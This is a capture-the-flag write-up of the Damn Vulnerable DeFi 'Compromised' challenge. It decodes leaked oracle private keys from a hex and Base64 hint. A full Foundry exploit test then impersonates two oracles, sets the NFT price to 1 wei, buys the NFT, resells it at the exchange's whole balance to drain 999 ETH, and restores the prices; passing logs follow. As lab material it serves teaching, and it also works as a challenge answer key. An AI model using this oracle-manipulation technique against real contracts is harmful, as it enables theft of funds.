While poking around a web service of one of the most popular DeFi projects in the space, you get a strange response from the server. Here’s a snippet:
HTTP/2 200 OK
content-type: text/html
content-language: en
vary: Accept-Encoding
server: cloudflare
4d 48 67 33 5a 44 45 31 59 6d 4a 68 4d 6a 5a 6a 4e 54 49 7a 4e 6a 67 7a 59 6d 5a 6a 4d 32 52 6a 4e 32 4e 6b 59 7a 56 6b 4d 57 49 34 59 54 49 33 4e 44 51 30 4e 44 63 31 4f 54 64 6a 5a 6a 52 6b 59 54 45 33 4d 44 56 6a 5a 6a 5a 6a 4f 54 6b 7a 4d 44 59 7a 4e 7a 51 30
4d 48 67 32 4f 47 4a 6b 4d 44 49 77 59 57 51 78 4f 44 5a 69 4e 6a 51 33 59 54 59 35 4d 57 4d 32 59 54 56 6a 4d 47 4d 78 4e 54 49 35 5a 6a 49 78 5a 57 4e 6b 4d 44 6c 6b 59 32 4d 30 4e 54 49 30 4d 54 51 77 4d 6d 46 6a 4e 6a 42 69 59 54 4d 33 4e 32 4d 30 4d 54 55 35
A related on-chain exchange is selling (absurdly overpriced) collectibles called “DVNFT”, now at 999 ETH each.
This price is fetched from an on-chain oracle, based on 3 trusted reporters: 0x188...088, 0xA41...9D8 and 0xab3...a40.
Starting with just 0.1 ETH in balance, pass the challenge by rescuing all ETH available in the exchange. Then deposit the funds into the designated recovery account.
The exchange relies on three trusted oracles to determine the NFT price, which can be updated by calling the postPrice()
function in the TrustfulOracle
contract.
Starting with the hint:
4d 48 67 33 5a 44 45 31 59 6d 4a 68 4d 6a 5a 6a 4e 54 49 7a 4e 6a 67 7a 59 6d 5a 6a 4d 32 52 6a 4e 32 4e 6b 59 7a 56 6b 4d 57 49 34 59 54 49 33 4e 44 51 30 4e 44 63 31 4f 54 64 6a 5a 6a 52 6b 59 54 45 33 4d 44 56 6a 5a 6a 5a 6a 4f 54 6b 7a 4d 44 59 7a 4e 7a 51 30
4d 48 67 32 4f 47 4a 6b 4d 44 49 77 59 57 51 78 4f 44 5a 69 4e 6a 51 33 59 54 59 35 4d 57 4d 32 59 54 56 6a 4d 47 4d 78 4e 54 49 35 5a 6a 49 78 5a 57 4e 6b 4d 44 6c 6b 59 32 4d 30 4e 54 49 30 4d 54 51 77 4d 6d 46 6a 4e 6a 42 69 59 54 4d 33 4e 32 4d 30 4d 54 55 35
Convert the hex strings to ASCII:
MHg3ZDE1YmJhMjZjNTIzNjgzYmZjM2RjN2NkYzVkMWI4YTI3NDQ0NDc1OTdjZjRkYTE3MDVjZjZjOTkzMDYzNzQ0
MHg2OGJkMDIwYWQxODZiNjQ3YTY5MWM2YTVjMGMxNTI5ZjIxZWNkMDlkY2M0NTI0MTQwMmFjNjBiYTM3N2M0MTU5
Since text is commonly encoded using Base64 in web applications, we first attempted to decode these Base64 strings into UTF-8 text, we reveal the following:
0x7d15bba26c523683bfc3dc7cdc5d1b8a2744447597cf4da1705cf6c993063744
0x68bd020ad186b647a691c6a5c0c1529f21ecd09dcc45241402ac60ba377c4159
These hex strings appear to be private keys. By converting these hex strings to addresses:
0x188Ea627E3531Db590e6f1D71ED83628d1933088
0xA417D473c40a4d42BAd35f147c21eEa7973539D8
We can confirm that they correspond to two of the oracles. Exploiting these addresses allows us to manipulate the NFT price.
- Retrieve the private keys of the trusted oracles from the hint.
- Impersonate the oracles to set the NFT price to a very low value (1 wei) and purchase it.
- Impersonate the oracles again to set the NFT price to a high value (e.g., 999 ETH) and sell it.
- Transfer the rescued ETH to the
recovery
address. - Restore the original oracle prices.
// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;
import {Test, console} from "forge-std/Test.sol";
import {VmSafe} from "forge-std/Vm.sol";
import {TrustfulOracle} from "../../src/compromised/TrustfulOracle.sol";
import {TrustfulOracleInitializer} from "../../src/compromised/TrustfulOracleInitializer.sol";
import {Exchange} from "../../src/compromised/Exchange.sol";
import {DamnValuableNFT} from "../../src/DamnValuableNFT.sol";
contract CompromisedChallenge is Test {
address deployer = makeAddr("deployer");
address player = makeAddr("player");
address recovery = makeAddr("recovery");
uint256 constant EXCHANGE_INITIAL_ETH_BALANCE = 999 ether;
uint256 constant INITIAL_NFT_PRICE = 999 ether;
uint256 constant PLAYER_INITIAL_ETH_BALANCE = 0.1 ether;
uint256 constant TRUSTED_SOURCE_INITIAL_ETH_BALANCE = 2 ether;
address[] sources = [
0x188Ea627E3531Db590e6f1D71ED83628d1933088,
0xA417D473c40a4d42BAd35f147c21eEa7973539D8,
0xab3600bF153A316dE44827e2473056d56B774a40
];
string[] symbols = ["DVNFT", "DVNFT", "DVNFT"];
uint256[] prices = [INITIAL_NFT_PRICE, INITIAL_NFT_PRICE, INITIAL_NFT_PRICE];
TrustfulOracle oracle;
Exchange exchange;
DamnValuableNFT nft;
modifier checkSolved() {
_;
_isSolved();
}
function setUp() public {
startHoax(deployer);
// Initialize balance of the trusted source addresses
for (uint256 i = 0; i < sources.length; i++) {
vm.deal(sources[i], TRUSTED_SOURCE_INITIAL_ETH_BALANCE);
}
// Player starts with limited balance
vm.deal(player, PLAYER_INITIAL_ETH_BALANCE);
// Deploy the oracle and setup the trusted sources with initial prices
oracle = (new TrustfulOracleInitializer(sources, symbols, prices)).oracle();
// Deploy the exchange and get an instance to the associated ERC721 token
exchange = new Exchange{value: EXCHANGE_INITIAL_ETH_BALANCE}(address(oracle));
nft = exchange.token();
vm.stopPrank();
}
/**
* CODE YOUR SOLUTION HERE
*/
function test_assertInitialState() public view {
for (uint256 i = 0; i < sources.length; i++) {
assertEq(sources[i].balance, TRUSTED_SOURCE_INITIAL_ETH_BALANCE);
}
assertEq(player.balance, PLAYER_INITIAL_ETH_BALANCE);
assertEq(nft.owner(), address(0)); // ownership renounced
assertEq(nft.rolesOf(address(exchange)), nft.MINTER_ROLE());
}
/**
* CODE YOUR SOLUTION HERE
*/
function test_compromised() public checkSolved {
// 4d4867335a444531596d4a684d6a5a6a4e54497a4e6a677a596d5a6a4d32526a4e324e6b597a566b4d574934595449334e4451304e4463314f54646a5a6a526b595445334d44566a5a6a5a6a4f546b7a4d44597a4e7a5130
// 4d4867324f474a6b4d444977595751784f445a694e6a5133595459354d574d325954566a4d474d784e5449355a6a49785a574e6b4d446c6b59324d304e5449304d5451774d6d466a4e6a426959544d334e324d304d545535
// hex data --> ASCII code
// MHg3ZDE1YmJhMjZjNTIzNjgzYmZjM2RjN2NkYzVkMWI4YTI3NDQ0NDc1OTdjZjRkYTE3MDVjZjZjOTkzMDYzNzQ0
// MHg2OGJkMDIwYWQxODZiNjQ3YTY5MWM2YTVjMGMxNTI5ZjIxZWNkMDlkY2M0NTI0MTQwMmFjNjBiYTM3N2M0MTU5
// Base64 strings --> UTF-8 text
// 0x7d15bba26c523683bfc3dc7cdc5d1b8a2744447597cf4da1705cf6c993063744
// 0x68bd020ad186b647a691c6a5c0c1529f21ecd09dcc45241402ac60ba377c4159
emit log("-------------------------- Before exploit --------------------------");
emit log_named_decimal_uint("ETH balance in the exchange contract", address(exchange).balance, 18);
emit log_named_decimal_uint("ETH balance in the recovery address", recovery.balance, 18);
uint256 pk1 = 0x7d15bba26c523683bfc3dc7cdc5d1b8a2744447597cf4da1705cf6c993063744;
uint256 pk2 = 0x68bd020ad186b647a691c6a5c0c1529f21ecd09dcc45241402ac60ba377c4159;
address oracle1 = vm.addr(pk1);
address oracle2 = vm.addr(pk2);
// set nft price to 1 wei
vm.startPrank(oracle1);
oracle.postPrice(nft.symbol(), 1);
vm.stopPrank();
vm.startPrank(oracle2);
oracle.postPrice(nft.symbol(), 1);
vm.stopPrank();
// buy the nft
vm.startPrank(player);
uint256 id = exchange.buyOne{value: 1}();
vm.stopPrank();
// set nft price to the exchange balance
vm.startPrank(oracle1);
oracle.postPrice(nft.symbol(), address(exchange).balance);
vm.stopPrank();
vm.startPrank(oracle2);
oracle.postPrice(nft.symbol(), address(exchange).balance);
vm.stopPrank();
// sell the nft to get the whole balance from exchange
vm.startPrank(player);
nft.approve(address(exchange), id);
exchange.sellOne(id);
(bool success,) = recovery.call{value: EXCHANGE_INITIAL_ETH_BALANCE}("");
require(success, "Fail to send ETH");
vm.stopPrank();
// restore the oracle price
vm.startPrank(oracle1);
oracle.postPrice(nft.symbol(), INITIAL_NFT_PRICE);
vm.stopPrank();
vm.startPrank(oracle2);
oracle.postPrice(nft.symbol(), INITIAL_NFT_PRICE);
vm.stopPrank();
emit log("-------------------------- After exploit --------------------------");
emit log_named_decimal_uint("ETH balance in the exchange contract", address(exchange).balance, 18);
emit log_named_decimal_uint("ETH balance in the recovery address", recovery.balance, 18);
}
/**
* CHECKS SUCCESS CONDITIONS - DO NOT TOUCH
*/
function _isSolved() private view {
// Exchange doesn't have ETH anymore
assertEq(address(exchange).balance, 0);
// ETH was deposited into the recovery account
assertEq(recovery.balance, EXCHANGE_INITIAL_ETH_BALANCE);
// Player must not own any NFT
assertEq(nft.balanceOf(player), 0);
// NFT price didn't change
assertEq(oracle.getMedianPrice("DVNFT"), INITIAL_NFT_PRICE);
}
}
Ran 2 tests for test/compromised/Compromised.t.sol:CompromisedChallenge
[PASS] test_assertInitialState() (gas: 40733)
[PASS] test_compromised() (gas: 263408)
Logs:
-------------------------- Before exploit --------------------------
ETH balance in the exchange contract: 999.000000000000000000
ETH balance in the recovery address: 0.000000000000000000
-------------------------- After exploit --------------------------
ETH balance in the exchange contract: 0.000000000000000000
ETH balance in the recovery address: 999.000000000000000000
Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 2.72ms (1.34ms CPU time)
Ran 1 test suite in 239.68ms (2.72ms CPU time): 2 tests passed, 0 failed, 0 skipped (2 total tests)